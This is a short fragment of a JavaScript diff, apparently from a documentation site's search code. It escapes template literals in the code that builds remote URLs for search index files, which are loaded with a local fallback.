+ const mainTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
+ const cloudTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
- const MAIN_REMOTE_SOURCES = mainTags.map(tag => `${mainReleaseBase}/${tag}/searchindex.js`);
- const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => `${cloudReleaseBase}/${tag}/searchindex.js`);
+ const MAIN_REMOTE_SOURCES = mainTags.map(tag => \`\${mainReleaseBase}/\${tag}/searchindex.js\`);
+ const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => \`\${cloudReleaseBase}/\${tag}/searchindex.js\`);
const indices = [];
const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex.js', false); if(main) indices.push(main);
@@ -208,3 +208,4 @@
listOut.classList.toggle('hidden',!docs.length);
};
})();
+